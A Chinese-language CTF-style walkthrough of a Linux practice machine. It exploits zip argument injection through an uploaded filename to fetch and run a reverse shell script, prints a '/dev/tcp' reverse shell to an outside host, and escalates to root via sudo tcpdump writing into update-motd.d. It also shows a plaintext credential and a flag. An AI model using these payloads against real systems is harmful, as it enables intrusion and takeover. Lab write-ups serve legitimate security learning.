本篇文章详细描述了如何利用命令注入漏洞,成功获取Linux系统的用户和根权限。通过Nmap扫描确认目标主机的服务和版本后,作者发现了一个支持文件上传的网站,并利用ZIP命令的注入漏洞,上传恶意脚本获取反向Shell。随后,通过对系统的权限配置进行枚举,使用tcpdump命令结合AppArmor的配置,成功地在系统上创建了一个持久化的提权方法,最终以root身份执行命令,获取root权限和敏感信息。

Information Gathering

# Nmap 7.98 scan initiated Tue Jan  6 06:31:53 2026 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.129.234.97
Nmap scan report for 10.129.234.97
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
|   3072 fb:31:61:8d:2f:86:e5:60:f9:e6:24:a3:1c:62:0c:ae (RSA)
|   256 0c:b7:c4:fb:4a:fc:31:1b:e9:4b:0b:d1:19:56:2f:ce (ECDSA)
|_  256 3c:c6:e8:71:4d:9a:d5:1d:86:dd:dd:6c:82:ee:7e:4d (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: hdmpll?
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 0.000 days (since Tue Jan  6 06:32:10 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan  6 06:32:23 2026 -- 1 IP address (1 host up) scanned in 30.29 seconds

Vulnerability Analysis

Web侦察后得知:是一个支持上传下载捕获pcap的网站。

在下载文件时会出现

HTTP/1.1 301 Moved Permanently
Date: Tue, 06 Jan 2026 07:56:29 GMT
Server: Apache/2.4.65 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: downloads/9fedd608-8eff-4779-a086-556a330cf1ad.zip
Content-Length: 158
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Preparing download...
<!--
	zip warning: name not matched: *

zip error: Nothing to do! (/var/www/html/downloads/9fedd608-8eff-4779-a086-556a330cf1ad.zip)
-->

知道使用的zip,此时可能存在注入。

我们上传一个-h文件

POST /upload.php HTTP/1.1
Host: dump.vl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryf78faa8165f6668bc57b25467061a78a
Content-Length: 374
Origin: http://dump.vl
Connection: keep-alive
Referer: http://dump.vl/index.php
Cookie: PHPSESSID=2oemv4tqkhlkuvv0aeifroqri7
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundaryf78faa8165f6668bc57b25467061a78a
Content-Disposition: form-data; name="submit"

Upload Capture
------geckoformboundaryf78faa8165f6668bc57b25467061a78a
Content-Disposition: form-data; name="fileToUpload"; filename="-h"
Content-Type: application/octet-stream

Ôò¡
# 执行GET /download.php
Preparing download...
<!--
Copyright (c) 1990-2008 Info-ZIP - Type 'zip "-L"' for software license.
Zip 3.0 (July 5th 2008). Usage:
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]
  The default action is to add or replace zipfile entries from list, which
  can include the special name - to compress standard input.
  If zipfile and list are omitted, zip compresses stdin to stdout.
  -f   freshen: only changed files  -u   update: only changed or new files
  -d   delete entries in zipfile    -m   move into zipfile (delete OS files)
  -r   recurse into directories     -j   junk (don't record) directory names
  -0   store only                   -l   convert LF to CR LF (-ll CR LF to LF)
  -1   compress faster              -9   compress better
  -q   quiet operation              -v   verbose operation/print version info
  -c   add one-line comments        -z   add zipfile comment
  -@   read names from stdin        -o   make zipfile as old as latest entry
  -x   exclude the following names  -i   include only the following names
  -F   fix zipfile (-FF try harder) -D   do not add directory entries
  -A   adjust self-extracting exe   -J   junk zipfile prefix (unzipsfx)
  -T   test zipfile integrity       -X   eXclude eXtra file attributes
  -y   store symbolic links as the link instead of the referenced file
  -e   encrypt                      -n   don't compress these suffixes
  -h2  show more help
  
-->

可以发现得到zip -h,存在命令注入,推测为zip file1 file2 -h

Exploitation (User Flag)

搜索GTFOBins得到zip $TF /etc/hosts -T -TT 'sh #'

当我们运行zip ... -T -TT 'sleep 5;id'实际上得到sleep 5; id /tmp/tmp.vaa92qHARB

不能上传包含/文件,因为服务器只会读取/后面的内容

所以我们可以上传

image

执行为wget -r 10.10.16.27 -nd;bash b.sh;echo file1.zip

本地的b.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.27/4444 0>&1

即可获取shell

Privilege Escalation (Root Flag)

枚举过后得到

www-data@dump:/var/www/database$ ls
database.sqlite3

以及sudo -l

www-data@dump:/var/cache$ sudo -l
Matching Defaults entries for www-data on dump:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on dump:
    (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
        -w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
        -F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
www-data@dump:/var/www/database$ sqlite3 database.sqlite3 'select * from users'
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1

得到fritz : Passw0rdH4shingIsforNoobZ!

登陆上发现fritz是adm组

根据GTFOBins正常应用

www-data@dump:/var/www/database$ COMMAND='id'
www-data@dump:/var/www/database$ TF=$(mktemp)
www-data@dump:/var/www/database$ echo "$COMMAND" > $TF
www-data@dump:/var/www/database$ chmod +x $TF
www-data@dump:/var/www/database$ sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ -ln -i eth0 -w/tmp/out.txt -W 1 -G 1 -z $TF -Z root /351ecea1-0311-49de-97d9-f3a56970fa11 -F/var/cache/captures/filter.bb1585e0-ec69-4667-8d20-797a05553049
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
2 packets received by filter
0 packets dropped by kernel
compress_savefile: execlp(/tmp/tmp.UYMHUJ8mpP, /tmp/out.txt) failed: Permission denied

在 Debian/Ubuntu/Kali 系统中,tcpdump 通常被 AppArmor 配置文件锁定,禁止它执行 /tmp/ 下的脚本,也禁止它执行除特定帮助程序以外的任何命令。

type=AVC msg=audit(1767772890.978:999): apparmor="DENIED" operation="exec" profile="tcpdump" name="/tmp/tmp.UYMHUJ8mpP" pid=4798 comm="tcpdump" requested_mask="x" denied_mask="x" fsuid=0 ouid=33FSUID="root" OUID="www-data"

在/var/log/audit/audit.log中看到与Apparmor有关的话

看一下配置

fritz@dump:~$ cat /etc/apparmor.d/usr.bin.tcpdump
# vim:syntax=apparmor
#include <tunables/global>

profile tcpdump /usr/bin/tcpdump {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  capability net_raw,
  capability setuid,
  capability setgid,
  capability dac_override,
  capability chown,
  network raw,
  network packet,

  # for -D
  @{PROC}/bus/usb/ r,
  @{PROC}/bus/usb/** r,

  # for finding an interface
  /dev/ r,
  @{PROC}/[0-9]*/net/dev r,
  /sys/bus/usb/devices/ r,
  /sys/class/net/ r,
  /sys/devices/**/net/** r,

  # for -j
  capability net_admin,

  # for tracing USB bus, which libpcap supports
  /dev/usbmon* r,
  /dev/bus/usb/ r,
  /dev/bus/usb/** r,

  # for init_etherarray(), with -e
  /etc/ethers r,

  # for USB probing (see libpcap-1.1.x/pcap-usb-linux.c:probe_devices())
  /dev/bus/usb/**/[0-9]* w,

  # for -z
  /{usr/,}bin/gzip ixr,
  /{usr/,}bin/bzip2 ixr,

  # for -F and -w
  audit deny @{HOME}/.* mrwkl,
  audit deny @{HOME}/.*/ rw,
  audit deny @{HOME}/.*/** mrwkl,
  audit deny @{HOME}/bin/ rw,
  audit deny @{HOME}/bin/** mrwkl,
  owner @{HOME}/ r,
  owner @{HOME}/** rw,

  # for -r, -F and -w
  /**.[pP][cC][aA][pP] rw,
  /**.[cC][aA][pP] rw,
  # -W adds a numerical suffix
  /**.[pP][cC][aA][pP][0-9]* rw,
  /**.[cC][aA][pP][0-9]* rw,

  # for convenience with -r (ie, read pcap files from other sources)
  /var/log/snort/*log* r,

  /usr/bin/tcpdump mr,

  # Site-specific additions and overrides. See local/README for details.
  #include <local/usr.bin.tcpdump>
}
  • 写入任何以.pcap或.cap结尾的文件
  • 如果文件名符合UUID格式[0-9a-f]-[0-9a-f]-[0-9a-f]-[0-9a-f]-[0-9a-f],则写入任何位置
  • 写入到主目录(隐藏文件除外)
  • 文件将包含一个必须处理的pcap报头

可以将文件写入/etc/update-motd.d/,每当ssh登陆时,就会以root身份运行其中的脚本

www-data@dump:/var/cache/captures$ sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ -w/etc/update-motd.d/11111111-1234-1234-1234-111111111111 -Z fritz /351ecea1-0311-49de-97d9-f3a56970fae8 -F/var/cache/captures/filter.362526fa-74f1-4bc4-847e-b9292c25fddc
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10 packets captured
15 packets received by filter
0 packets dropped by kernel
💡
为什么会有/351ecea1-0311-49de-97d9-f3a56970fae8?
www-data@dump:/var/cache/captures$ ls -lah /etc/update-motd.d/11111111-1234-1234-1234-111111111111
-rw-r--r-- 1 fritz fritz 2.1K Jan  7 08:27 /etc/update-motd.d/11111111-1234-1234-1234-111111111111
cat > /etc/update-motd.d/11111111-1234-1234-1234-111111111111 << 'EOF'
#!/bin/bash
cp /usr/bin/bash /home/fritz/bash && chmod u+s /home/fritz/bash
EOF

chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111

重新登录ssh即可

fritz@dump:~$ ls -la
-rwsr-xr-x 1 root  root  1234376 Jan  7 08:34 bash
fritz@dump:~$ ./bash -p
bash-5.1# id
uid=1001(fritz) gid=1001(fritz) euid=0(root) groups=1001(fritz),4(adm)
bash-5.1# cat /root/root.txt
60fa24c20ef11b19b4d5e5c320eb5c16

Lessons Learned